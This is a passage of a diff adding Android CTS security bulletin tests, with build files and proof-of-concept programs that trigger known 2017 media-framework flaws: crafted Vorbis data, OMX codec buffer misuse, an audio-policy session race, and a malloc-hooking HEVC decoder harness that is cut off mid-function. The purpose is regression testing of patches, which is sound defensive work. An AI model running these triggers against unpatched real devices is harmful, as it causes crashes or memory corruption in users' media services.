+        0xA7, 0xDB, 0xED, 0x74, 0xBA, 0xDD, 0xa6, 0xD3, 0x76, 0x9b, 0x4E, 0xDB,
+        0x6D, 0x3a, 0x6D, 0xDB, 0x34, 0x6D, 0xD3, 0x34, 0xED, 0xCB, 0x57, 0x2F,
+        0x5F, 0xBD, 0x3C, 0xF4, 0x43, 0x3F, 0xF4, 0x43, 0x3F, 0xF4, 0xE3, 0xF1,
+        0xE3, 0xC7, 0x8F, 0x1F, 0x3F, 0x7E, 0xFC, 0xF8, 0xF1, 0xE3, 0xC7, 0x8F,
+        0x1F, 0x3F, 0x7E, 0xFC, 0xF8, 0xF1, 0xE3, 0xC7, 0xF1, 0xD1, 0x68, 0x34,
+        0x1A, 0x8D, 0x46, 0xA3, 0xD1, 0x68, 0x34, 0x0A };
+
+static void makeBitReader(const void *data, size_t size, ogg_buffer *buf,
+                          ogg_reference *ref, oggpack_buffer *bits) {
+    buf->data = (uint8_t *) data;
+    buf->size = size;
+    buf->refcount = REF_COUNT;
+
+    ref->buffer = buf;
+    ref->length = size;
+    oggpack_readinit(bits, ref);
+}
+
+int main() {
+    ogg_buffer buf;
+    ogg_reference ref;
+    oggpack_buffer bits;
+
+    memset(&buf, 0, sizeof(ogg_buffer));
+    memset(&ref, 0, sizeof(ogg_reference));
+    memset(&bits, 0, sizeof(oggpack_buffer));
+
+    makeBitReader(packInfoData, sizeof(packInfoData), &buf, &ref, &bits);
+
+    vorbis_info *mVi = new vorbis_info;
+    vorbis_info_init(mVi);
+
+    int ret = _vorbis_unpack_info(mVi, &bits);
+    if (!ret) {
+        memset(&buf, 0, sizeof(ogg_buffer));
+        memset(&ref, 0, sizeof(ogg_reference));
+        memset(&bits, 0, sizeof(oggpack_buffer));
+
+        makeBitReader(unpackBookData, sizeof(unpackBookData), &buf, &ref,
+                      &bits);
+
+        ret = _vorbis_unpack_books(mVi, &bits);
+        if (!ret) {
+            ogg_packet pack;
+            memset(&pack, 0, sizeof(ogg_packet));
+            memset(&buf, 0, sizeof(ogg_buffer));
+            memset(&ref, 0, sizeof(ogg_reference));
+
+            vorbis_dsp_state *mState = new vorbis_dsp_state;
+            vorbis_dsp_init(mState, mVi);
+
+            buf.data = bufData;
+            buf.size = sizeof(bufData);
+            buf.refcount = REF_COUNT;
+
+            ref.buffer = &buf;
+            ref.length = buf.size;
+
+            pack.packet = &ref;
+            pack.bytes = ref.length;
+
+            vorbis_dsp_synthesis(mState, &pack, DECODE_PACKET);
+        }
+    }
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/Android.mk
new file mode 100644
index 0000000..5041374
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/Android.mk
@@ -0,0 +1,51 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-0817
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES_32 += ../includes/omxUtils.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := frameworks/native/include/media/openmax
+LOCAL_C_INCLUDES += frameworks/av/media/libstagefright/
+LOCAL_C_INCLUDES += frameworks/native/include/media/hardware/
+LOCAL_C_INCLUDES += ../includes
+LOCAL_SHARED_LIBRARIES_32 := libstagefright
+LOCAL_SHARED_LIBRARIES_32 += libbinder
+LOCAL_SHARED_LIBRARIES_32 += libmedia
+LOCAL_SHARED_LIBRARIES_32 += libmedia_omx
+LOCAL_SHARED_LIBRARIES_32 += libmediaextractor
+LOCAL_SHARED_LIBRARIES_32 += libutils
+LOCAL_SHARED_LIBRARIES_32 += liblog
+LOCAL_SHARED_LIBRARIES_32 += libui
+LOCAL_SHARED_LIBRARIES_32 += libstagefright_foundation
+LOCAL_SHARED_LIBRARIES_32 += libcutils
+LOCAL_SHARED_LIBRARIES_32 += libhidlbase
+LOCAL_SHARED_LIBRARIES_32 += libhidlmemory
+LOCAL_SHARED_LIBRARIES_32 += libnativewindow
+LOCAL_SHARED_LIBRARIES_32 += android.hidl.allocator@1.0
+LOCAL_SHARED_LIBRARIES_32 += android.hidl.memory@1.0
+LOCAL_SHARED_LIBRARIES_32 += android.hardware.media.omx@1.0
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/poc.cpp
new file mode 100644
index 0000000..778eef0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/poc.cpp
@@ -0,0 +1,139 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "stdlib.h"
+#include "../includes/common.h"
+
+//This PoC is only for 32-bit builds.
+#if _32_BIT
+#include "../includes/omxUtils.h"
+#include <unistd.h>
+#include <hidlmemory/mapping.h>
+
+extern bool mUseTreble;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+void exit_handler(void) {
+    omxUtilsFreeNode();
+}
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
+                            int BufferSize) {
+    buffers->clear();
+    OMX_PARAM_PORTDEFINITIONTYPE def;
+    int err = omxUtilsGetParameter(portIndex, &def);
+    omxExitOnError(err);
+
+    for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+        Buffer buffer;
+        buffer.mFlags = 0;
+        bool success;
+        auto transStatus = mAllocator->allocate(BufferSize, [&success, &buffer](
+                bool s,
+                hidl_memory const& m) {
+            success = s;
+            buffer.mHidlMemory = m;
+        });
+        omxExitOnError(!transStatus.isOk());
+        omxExitOnError(!success);
+        buffers->push(buffer);
+    }
+    return OK;
+}
+
+void poc() {
+    int i;
+    Vector < Buffer > inputBuffers;
+    Vector < Buffer > outputBuffers;
+    status_t err = omxUtilsInit((char*) "OMX.google.h264.encoder");
+    omxExitOnError(err);
+    atexit(exit_handler);
+
+    OMX_PARAM_PORTDEFINITIONTYPE def;
+    omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);
+
+    int inMemSize = def.nBufferCountActual * def.nBufferSize / 512;
+    int inBufferCnt = def.nBufferCountActual;
+    int inBufferSize = inMemSize / inBufferCnt;
+
+    sp < MemoryDealer > dealerIn = new MemoryDealer(inMemSize);
+    IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+    omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);
+
+    int outMemSize = def.nBufferCountActual * def.nBufferSize;
+    int outBufferCnt = def.nBufferCountActual;
+    int outBufferSize = outMemSize / outBufferCnt;
+
+    sp < MemoryDealer > dealerOut = new MemoryDealer(outMemSize);
+    IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+    allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
+    for (i = 0; i < inBufferCnt; ++i) {
+        inBufferId[i] = inputBuffers[i].mID;
+        sp < android::hidl::memory::V1_0::IMemory > mem = mapMemory(
+                inputBuffers[i].mHidlMemory);
+        memset((void *) mem->getPointer(), 0xCF, inBufferSize);
+        omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory, &inBufferId[i]);
+    }
+
+    allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
+    for (i = 0; i < outBufferCnt; ++i) {
+        outBufferId[i] = outputBuffers[i].mID;
+        omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory, &outBufferId[i]);
+    }
+
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+
+    for (i = 0; i < inBufferCnt; ++i) {
+        OMXBuffer omxBuf(0, inBufferSize);
+        omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+    }
+
+    for (i = 0; i < outBufferCnt; ++i) {
+        OMXBuffer omxBuf(0, outBufferSize);
+        omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+    }
+
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+
+    for (i = 0; i < inBufferCnt; ++i) {
+        omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+    }
+
+    for (i = 0; i < outBufferCnt; ++i) {
+        omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+    }
+
+    omxUtilsFreeNode();
+    return;
+}
+#endif
+
+int main() {
+
+//This PoC is only for 32-bit builds.
+#if _32_BIT
+    time_t currentTime = start_timer();
+    while(timer_active(currentTime)) {
+        poc();
+    }
+#endif
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.mk
new file mode 100644
index 0000000..583cd6f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-0837
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := libutils
+LOCAL_SHARED_LIBRARIES += libbinder
+LOCAL_SHARED_LIBRARIES += libaudioclient
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp
new file mode 100644
index 0000000..0231f66
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp
@@ -0,0 +1,117 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/IServiceManager.h>
+#include <binder/IPCThreadState.h>
+#include <media/IAudioPolicyService.h>
+#include "../includes/common.h"
+
+using namespace android;
+
+#define MAX_NUMBER_OF_AUDIO_SESSIONS 1024
+#define MAX_NUMBER_OF_THREADS 5
+#define MAX_NUMBER_OF_ACQUIRE_SESSION_THREADS 2
+#define SLEEP_TIME_IN_SECONDS 5
+
+struct pocAudioSessionCtxt {
+    sp<IAudioPolicyService> audioService;
+    audio_session_t audioSession[MAX_NUMBER_OF_AUDIO_SESSIONS];
+    volatile bool startThread;
+};
+
+static void* acquireSoundTriggerSessionThread(void *arg) {
+    int i = 0;
+    pocAudioSessionCtxt *ctxt = (pocAudioSessionCtxt *) arg;
+    if (!ctxt) {
+        return nullptr;
+    }
+    time_t currentTime = start_timer();
+    while (timer_active(currentTime)) {
+        if (ctxt->startThread == true && ctxt->audioService != nullptr) {
+            audio_io_handle_t ioHandle = 0;
+            audio_devices_t device = 0;
+            ctxt->audioService->acquireSoundTriggerSession(
+                    &(ctxt->audioSession[++i]), &ioHandle, &device);
+            if (i >= MAX_NUMBER_OF_AUDIO_SESSIONS) {
+                i = 0;
+            }
+        }
+    }
+    return nullptr;
+}
+
+static void* releaseSoundTriggerSessionThread(void *arg) {
+    int i = 0;
+    pocAudioSessionCtxt *ctxt = (pocAudioSessionCtxt *) arg;
+    if (!ctxt) {
+        return nullptr;
+    }
+    time_t currentTime = start_timer();
+    while (timer_active(currentTime)) {
+        if (ctxt->startThread == true && ctxt->audioService != nullptr) {
+            ctxt->audioService->releaseSoundTriggerSession(
+                    ctxt->audioSession[++i]);
+            if (i >= MAX_NUMBER_OF_AUDIO_SESSIONS) {
+                i = 0;
+            }
+        }
+    }
+    return nullptr;
+}
+
+class MyDeathRecipient : public IBinder::DeathRecipient {
+ public:
+    MyDeathRecipient() {
+    }
+    virtual void binderDied(const wp<IBinder>& who __unused) {
+        exit(EXIT_SUCCESS);
+    }
+};
+
+int main() {
+    pocAudioSessionCtxt ctxt;
+    pthread_t thread[MAX_NUMBER_OF_THREADS];
+    ctxt.startThread = false;
+
+    for (int i = 0; i < MAX_NUMBER_OF_ACQUIRE_SESSION_THREADS; ++i) {
+        pthread_create(&thread[i], nullptr, acquireSoundTriggerSessionThread,
+                       &ctxt);
+    }
+
+    for (int i = MAX_NUMBER_OF_ACQUIRE_SESSION_THREADS;
+            i < MAX_NUMBER_OF_THREADS; ++i) {
+        pthread_create(&thread[i], nullptr, releaseSoundTriggerSessionThread,
+                       &ctxt);
+    }
+
+    sp < IServiceManager > sm = defaultServiceManager();
+    sp < IBinder > binder = sm->getService(String16("media.audio_policy"));
+    if (!binder) {
+        return EXIT_FAILURE;
+    }
+    ctxt.audioService = interface_cast < IAudioPolicyService > (binder);
+    if (!ctxt.audioService) {
+        return EXIT_FAILURE;
+    }
+
+    sp<MyDeathRecipient> deathRecipient = new MyDeathRecipient();
+    binder->linkToDeath(deathRecipient);
+    ctxt.startThread = true;
+    for (int i = 0; i < MAX_NUMBER_OF_THREADS; ++i) {
+        pthread_join(thread[i], nullptr);
+    }
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/Android.mk
new file mode 100644
index 0000000..99a876e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/Android.mk
@@ -0,0 +1,45 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-0840
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/omxUtils.cpp
+LOCAL_MULTILIB := 32
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_C_INCLUDES := frameworks/native/include/media/openmax
+LOCAL_C_INCLUDES += frameworks/av/media/libstagefright/
+LOCAL_C_INCLUDES += frameworks/native/include/media/hardware/
+LOCAL_SHARED_LIBRARIES := libstagefright
+LOCAL_SHARED_LIBRARIES += libbinder
+LOCAL_SHARED_LIBRARIES += libmedia_omx
+LOCAL_SHARED_LIBRARIES += libutils
+LOCAL_SHARED_LIBRARIES += liblog
+LOCAL_SHARED_LIBRARIES += libui
+LOCAL_SHARED_LIBRARIES += libstagefright_foundation
+LOCAL_SHARED_LIBRARIES += libcutils
+LOCAL_SHARED_LIBRARIES += libhidlbase
+LOCAL_SHARED_LIBRARIES += android.hidl.allocator@1.0
+LOCAL_SHARED_LIBRARIES += android.hidl.memory@1.0
+LOCAL_SHARED_LIBRARIES += android.hardware.media.omx@1.0
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/poc.cpp
new file mode 100644
index 0000000..d57a7f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/poc.cpp
@@ -0,0 +1,123 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/omxUtils.h"
+#define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_SEC 30
+extern int numCallbackEmptyBufferDone;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers) {
+    buffers->clear();
+    OMX_PARAM_PORTDEFINITIONTYPE def;
+    int err = omxUtilsGetParameter(portIndex, &def);
+    omxExitOnError(err);
+    for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+        Buffer buffer;
+        buffer.mFlags = 0;
+        bool success;
+        auto transStatus = mAllocator->allocate(def.nBufferSize,
+                                                [&success, &buffer](
+                                                        bool s,
+                                                        hidl_memory const& m) {
+                                                    success = s;
+                                                    buffer.mHidlMemory = m;
+                                                });
+        omxExitOnError(!transStatus.isOk());
+        omxExitOnError(!success);
+        omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
+        buffers->push(buffer);
+    }
+    return OK;
+}
+int main() {
+    /* Initialize OMX for the specified codec                                 */
+    status_t ret = omxUtilsInit((char *) "OMX.qcom.video.decoder.avc");
+    omxExitOnError(ret);
+    int allCallbacksReceivedEmptyBufferDone = 0;
+    /* Get OMX input port parameters                                          */
+    OMX_PARAM_PORTDEFINITIONTYPE *params =
+            (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(
+                    sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+    sp < GraphicBuffer > graphicbuffer = new GraphicBuffer(
+            params->format.video.nFrameWidth, params->format.video.nFrameHeight,
+            HAL_PIXEL_FORMAT_YV12,
+            android::GraphicBuffer::USAGE_HW_VIDEO_ENCODER);
+    /* prepare input port buffers                                             */
+    int inMemSize = params->nBufferCountActual * params->nBufferSize;
+    int inBufferCnt = params->nBufferCountActual;
+    int inBufferSize = inMemSize / inBufferCnt;
+    IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+    Vector < Buffer > inputBuffers;
+    Vector < Buffer > outputBuffers;
+    /* Register input buffers with OMX component                              */
+    for (int i = 0; i < inBufferCnt; i++) {
+        OMXBuffer omxBuf(graphicbuffer);
+        omxUtilsUseBuffer(OMX_UTILS_IP_PORT, omxBuf, &inBufferId[i]);
+    }
+    /* Get OMX output port parameters                                         */
+    memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+    /* prepare output port buffers                                            */
+    int outMemSize = params->nBufferCountActual * params->nBufferSize;
+    int outBufferCnt = params->nBufferCountActual;
+    int outBufferSize = outMemSize / outBufferCnt;
+    IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+    /* Register output buffers with OMX component                             */
+    allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
+    for (int i = 0; i < outBufferCnt; i++) {
+        outBufferId[i] = outputBuffers[i].mID;
+    }
+    /* Do OMX State change to Idle                                            */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    /* Do OMX State change to Executing                                       */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+    for (int i = 0; i < inBufferCnt; i++) {
+        OMXBuffer omxBuf(0, inBufferSize);
+        omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+    }
+    for (int i = 0; i < 1; i++) {
+        OMXBuffer omxBuf(0, outBufferSize);
+        omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+    }
+    /* Do OMX State change to Idle                                            */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    time_t currentTime = time(NULL);
+    time_t waitTimeInSeconds = EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_SEC;
+    time_t endTime = currentTime + waitTimeInSeconds;
+    while (currentTime < endTime) {
+        if (numCallbackEmptyBufferDone == inBufferCnt) {
+            allCallbacksReceivedEmptyBufferDone = 1;
+            break;
+        }
+        currentTime = time(NULL);
+    }
+    if (!allCallbacksReceivedEmptyBufferDone) {
+        ALOGE("Exiting the app");
+        exit (EXIT_FAILURE);
+    }
+    /* Do OMX State change to Loaded                                          */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+    /* Free input and output buffers                                          */
+    for (int i = 0; i < inBufferCnt; i++) {
+        omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+    }
+    for (int i = 0; i < outBufferCnt; i++) {
+        omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+    }
+    /* Free OMX resources                                                     */
+    omxUtilsFreeNode();
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/Android.mk
new file mode 100644
index 0000000..0dcf8b8
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/Android.mk
@@ -0,0 +1,41 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-13179
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := 32
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_C_INCLUDES := external/libhevc/common
+LOCAL_C_INCLUDES += external/libhevc/decoder
+LOCAL_C_INCLUDES += frameworks/av/media/libstagefright/omx/include
+LOCAL_C_INCLUDES += frameworks/av/media/libstagefright/omx/include/media/stagefright/omx
+LOCAL_C_INCLUDES += frameworks/native/include/media/openmax
+LOCAL_C_INCLUDES += frameworks/av/media/libstagefright/codecs/hevcdec
+LOCAL_C_INCLUDES += system/libhidl/transport/token/1.0/utils/include
+LOCAL_SHARED_LIBRARIES := liblog
+LOCAL_SHARED_LIBRARIES += libstagefright_soft_hevcdec
+LOCAL_SHARED_LIBRARIES += libutils
+LOCAL_SHARED_LIBRARIES += libhidlbase
+LOCAL_SHARED_LIBRARIES += android.hardware.media.omx@1.0
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -Wno-unused-variable -DMAX_WINDOW_SIZE=1048576
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/poc.cpp
new file mode 100644
index 0000000..dae2e9a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/poc.cpp
@@ -0,0 +1,228 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/mman.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <dlfcn.h>
+#include <signal.h>
+#include <SoftOMXPlugin.h>
+#include <SoftOMXComponent.h>
+#include "ihevc_typedefs.h"
+#include "iv.h"
+#include "ivd.h"
+#include "SoftHEVC.h"
+#include "ihevc_buf_mgr.h"
+#define LIBNAME "/system/lib/libstagefright_soft_hevcdec.so"
+#define LIBNAME_VNDK "/system/lib/vndk-28/libstagefright_soft_hevcdec.so"
+#define MAX_ENTRIES        (1024)
+
+#define DISABLE_MEM_ACCESS(mem, size)\
+    mprotect((char *) mem, size, PROT_NONE);
+
+#define ENABLE_MEM_ACCESS(mem, size)\
+    mprotect((char *) mem, size, PROT_READ | PROT_WRITE);
+
+typedef struct _map_struct_t {
+    void *start_ptr;
+    void *mem_ptr;
+    int num_pages;
+    size_t mem_size;
+} map_struct_t;
+
+static void* (*real_memalign)(size_t, size_t) = NULL;
+static void (*real_free)(void *) = NULL;
+static int s_memutils_initialized = 0;
+static int s_mem_map_index = 0;
+static int s_free_write_index = 0;
+static int s_free_read_index = 0;
+static int s_free_list_size = 0;
+static struct sigaction new_sa, old_sa;
+map_struct_t s_mem_map[MAX_ENTRIES];
+map_struct_t s_free_list[MAX_ENTRIES];
+
+void exit_handler(void) {
+    size_t page_size = getpagesize();
+    for (int i = 0; i < s_mem_map_index; i++) {
+        if (NULL != s_mem_map[i].start_ptr) {
+            ENABLE_MEM_ACCESS(s_mem_map[i].start_ptr,
+                              (s_mem_map[i].num_pages * page_size));
+        }
+    }
+    for (int i = 0; i < MAX_ENTRIES; i++) {
+        if (NULL != s_free_list[i].start_ptr) {
+            ENABLE_MEM_ACCESS(s_free_list[i].start_ptr,
+                              (s_free_list[i].num_pages * page_size));
+            real_free(s_free_list[i].start_ptr);
+            memset(&s_free_list[i], 0, sizeof(map_struct_t));
+        }
+    }
+}
+
+void sigsegv_handler(int signum, siginfo_t *info, void* context) {
+    exit_handler();
+    (*old_sa.sa_sigaction)(signum, info, context);
+}
+
+void sighandler_init(void) {
+    sigemptyset(&new_sa.sa_mask);
+    new_sa.sa_flags = SA_SIGINFO;
+    new_sa.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_sa, &old_sa);
+}
+
+void memutils_init(void) {
+    real_memalign = (void *(*)(size_t, size_t))dlsym(RTLD_NEXT, "memalign");
+    if (NULL == real_memalign) {
+        return;
+    }
+    real_free = (void (*)(void *))dlsym(RTLD_NEXT, "free");
+    if (NULL == real_free) {
+        return;
+    }
+    memset(&s_mem_map, 0, MAX_ENTRIES * sizeof(map_struct_t));
+    sighandler_init();
+    atexit(exit_handler);
+    s_memutils_initialized = 1;
+}
+
+void *memalign(size_t alignment, size_t size) {
+    if (s_memutils_initialized == 0) {
+        memutils_init();
+    }
+
+    if (size == sizeof(buf_mgr_t)) {
+        return NULL;
+    }
+
+    char* start_ptr;
+    char* mem_ptr;
+    size_t total_size;
+    size_t aligned_size = size;
+    size_t new_alignment = sizeof(size_t);
+    size_t no_of_pages;
+    size_t page_size = getpagesize();
+
